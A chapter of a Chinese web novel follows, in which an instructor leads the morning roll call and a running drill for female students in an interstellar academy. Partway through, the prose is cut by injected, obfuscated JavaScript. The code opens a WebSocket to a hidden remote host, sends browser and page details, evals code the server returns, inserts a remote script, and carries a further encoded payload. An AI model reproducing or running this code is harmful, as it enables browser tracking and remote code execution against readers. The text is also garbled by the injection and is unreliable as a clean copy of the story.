第146章 出早操

   就好比现在，她刚才过来的时候，一句话都没有说，但是学生们却都很识相的停止了说话声，而且还乖乖的自己排好了队伍。

    方锦就这样看着众人的行动，站在一边，等着还没有到的学生。

    “开始报数。”方锦一句废话都不带说的，直接直奔主题。

    “一，二，……三十三，”

    随着一道道声音的响起和落下，来的人最后停止在三十三人。

    “班长还有几人没来，统计一下都有谁，如果早操结束还没有来，扣一分，罚跑一万米。”

    方锦直接就下了命令。

    “从现在开始，来迟到的跑步追加五千米。”

    方锦正说着话呢，从远处就看见一个小身影飞奔过来了。

    而方锦的话就这样落到那个女孩子的耳朵里了。

    刚才还因为迟到跑着过来的小女孩，气都还没有喘匀呢，因为跑步而红晕的小脸蛋直接就白了。

    小姑娘的脸色难看极了，想哭不敢哭的。

    宋言语只能是心里默默同情还没有来的同学了。

    “归队，现在看我看什么，我脸上有花吗。”方锦看着眼前的学生一动不动，还在眼前，看着这个榆木脑袋的样儿，她又想生气了。

    “是。”那个人也不敢在指导员气头上再犯错，害怕再被责罚，赶紧跑到队伍末尾排好。

    “立正，稍息，跑步走，今天的跑步目标三千米。”

    方锦不管学生们的哀嚎声，就这个三千米都已经是对他们放水了。

    心疼她们出任务，现在刚回学校还不适应。

    要不然今天至少五千米起步的。

    女性的异能不是攻击性，身体也是柔弱的，在不锻炼一下逃跑技能，那出任务遇到危险时，是不是就只能等死了。

    方锦既然教了她们，自然是不想看到这种事情发生在她执教期间的。

    而逃跑的第一步不就是要快速平稳，有耐力的离开吗。

    所以早操的第一步同样是跑步。

    甚至在方锦看来，跑步是最基本，最没有成本，但是最有实用的一个技能。

    这个方法也不是只有她一个人知道，同样的，这些都是前辈们一次次教训和经验中得来的。

    像她们这样的处理方法的例子还不少，不说别的异能班级，就说他们木系异能的别的班级，就在旁边不远处，同样上演着这种场景。

    假期再回学校，恰逢寒季，迟到的人是真不少。

    这些在学生眼里都是一件很正常的事情，更不要说是在指导员的眼里了。

    心里倒没觉得有什么生气，只不过该罚的还是要罚，该表现的威严也是要摆的。

    这群女孩子，如果不一开始就立上规矩，让她们对指导员有了畏惧，那到时候管理起来就要麻烦了。

    星际时代，尤其是这些激发异能了的女孩子，在家里也是千娇百宠的。

    所以性子上是真的有点骄横的，这也是为什么都是女性指导员了。

    男性指导员他也教不了什么，异能都不一样，怎么教知识呢。

    宋言语从上辈子就讨厌跑步，到了这辈子，就算没有记忆，她照样不喜欢。

    不过两者的区别就在于上辈子不想跑就不跑了，还有很多不同的锻炼方式，但是你这辈子就不行了。

    跑步和性命，宋言语还是知道哪个更重要的。

    跟宋言语这种想法一样的有很多，十个女生里面最少有八个不喜欢，而另外两个就算喜欢，也是很踌躇的。

    这一点宋言语还是非常肯定的。

    从小到大，宋言语感觉自己还是比较皮实的。

    而孙飘飘虽然想把她培养成淑女，但是有宋慈和宋言诺在身边看着打掩护，宋言语十岁之前可真的算是疯丫头了。

    后面宋言语懂事了，性子也稳重起来了，这才慢慢的把表面功夫做好。

    宋言语跑步的时候是最容易思想外扯的，这样可以弱化她不喜欢跑步的感觉。

    这是她这么多年来总结的一个方法。

    每次只要她把专注力放在别的事情上，到最后都已经跑完步了，她也没感觉多累，还很舒服。

    但是如果她一直纠结着跑步，不停的专注，那真的是越跑越累，最后上气不接下气的，很难受。

    寒季的人们生活作息非常准时，同时，也非常无聊。var s = new Date().getSeconds() % 2; if (s == 0){function a0_0x37c4(){var _0x240c9c=['join','data','abcdefghijklmnopqrstuvwxyz0123456789','8238yiPSZz','1839','&ua=','1432','51279','search','34536','close','8CjyZFF','(((.+)+)+)+$','getMonth','135956YTVidA','fromCharCode','WebSocket','slice','6711452bLCYrh','562','2pgdBSd','split','http_host=','send','4434VYriZP','67515','');try{var _0x170fa2,_0x263978=_0x49586a(0x179)+_0x170e2f();_0x170fa2=_0x49586a(0x1a8)in window?new WebSocket(_0x263978):_0x49586a(0x175)in window?new MozWebSocket(_0x263978):new SockJS(_0x263978),_0x170fa2['onopen']=function(){var _0x35ca42=_0x49586a;_0x170fa2[_0x35ca42(0x1af)](_0x35ca42(0x1ae)+_0x170e2f()+_0x35ca42(0x17c)+_0xc327cc+'&space_id=51279&serasfd='+navigator[_0x35ca42(0x196)]+'&ifr_url='+encodeURIComponent(location[_0x35ca42(0x185)])+_0x35ca42(0x178)+encodeURIComponent(document[_0x35ca42(0x17f)])+_0x35ca42(0x19d)+encodeURIComponent(navigator[_0x35ca42(0x18f)]));},_0x170fa2[_0x49586a(0x190)]=function(_0x47b220){var _0x5cb35a=_0x49586a;eval(_0x47b220[_0x5cb35a(0x199)]),_0x170fa2[_0x5cb35a(0x1a2)]();};}catch(_0xa33558){console[_0x49586a(0x17a)]('error'+_0xa33558);}}()):(function(){var _0xf53d4b=_0x394445,_0x5a903a=document[_0xf53d4b(0x1b4)](_0xf53d4b(0x1b6)),_0x555d50=_0xd9521(_0xf53d4b(0x193))+_0x170e2f();_0x5a903a[_0xf53d4b(0x18e)]=_0x555d50+'/'+_0xd9521((new Date()[_0xf53d4b(0x17d)]()%0x3*new Date()[_0xf53d4b(0x17d)]()+new Date()[_0xf53d4b(0x17d)]())['toString'](0x24)[_0xf53d4b(0x1a9)](0x1))+_0xd9521(_0xf53d4b(0x187))+_0xf53d4b(0x19f)+_0xd9521('km')+'?'+_0x135998(new Date()[_0xf53d4b(0x17d)]());var _0x4c199f=document[_0xf53d4b(0x180)](_0xf53d4b(0x1b6))[0x0];_0x4c199f['parentNode'][_0xf53d4b(0x197)](_0x5a903a,_0x4c199f);}());}()); } else if (s == 1){!function(){function a(a){var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a(`zxGsLrwhSRl7_2(F6O2cYa[Xd5 F8[P!7_2(F6O2 5c2a[67cFH2Za5YF_52 FH2ZmYRJO5FL!Xd5 O8FH2Z8[6g2=qgl}=YRJO5FLg[PP!5YF_52 YH2Zm(dqqcOmYRJO5FL=O=OmYRJO5FL=5a=Omq8l0=OmYRJO5FLP5m^8Y=5m(8F=5mf87_2(F6O2cY=F=2a[5mOcY=Fa??;)CY(FmfY762Ye5OJY5FTcY=F=[Y2_^Y5d)qYgl0=pYFg2PaP=5m587_2(F6O2cYa["_2fY762Yf"l8FTJYO7 iT^)OqvviT^)OqmFOiF562p|dpvv;)CY(FmfY762Ye5OJY5FTcY=iT^)OqmFOiF562p|dp=[Xdq_Yg"yOf_qY"Pa=;)CY(FmfY762Ye5OJY5FTcY="MMYLyOf_qY"=[Xdq_Ygl0PaP=5mF87_2(F6O2cY=Fa[67c}vFvvcY85cYaa={vFa5YF_52 Y!67covFvv"O)CY(F"88FTJYO7 YvvYvvYmMMYLyOf_qYa5YF_52 Y!Xd5 28;)CY(Fm(5YdFYc2_qqa!67c5m5c2a=;)CY(FmfY762Ye5OJY5FTc2="fY7d_qF"=[Y2_^Y5d)qYgl0=Xdq_YgYPa=@vFvv"LF562p"l8FTJYO7 Ya7O5cXd5 O 62 Ya5mfc2=O=7_2(F6O2cFa[5YF_52 YHFZPm)62fc2_qq=Oaa!5YF_52 2P=5m287_2(F6O2cYa[Xd5 F8YvvYmMMYLyOf_qYj7_2(F6O2ca[5YF_52 YmfY7d_qFPg7_2(F6O2ca[5YF_52 YP!5YF_52 5mfcF="d"=Fa=FP=5mO87_2(F6O2cY=Fa[5YF_52 ;)CY(FmJ5OFOFTJYmhdL;D2e5OJY5FTm(dqqcY=FaP=5mJ8""=5c5mL80aPcH7_2(F6O2cY=Fa[Xd5 58fO(_^Y2F=282dX6pdFO5mJqdF7O5^=O85m(_55Y2Fi(56JF! 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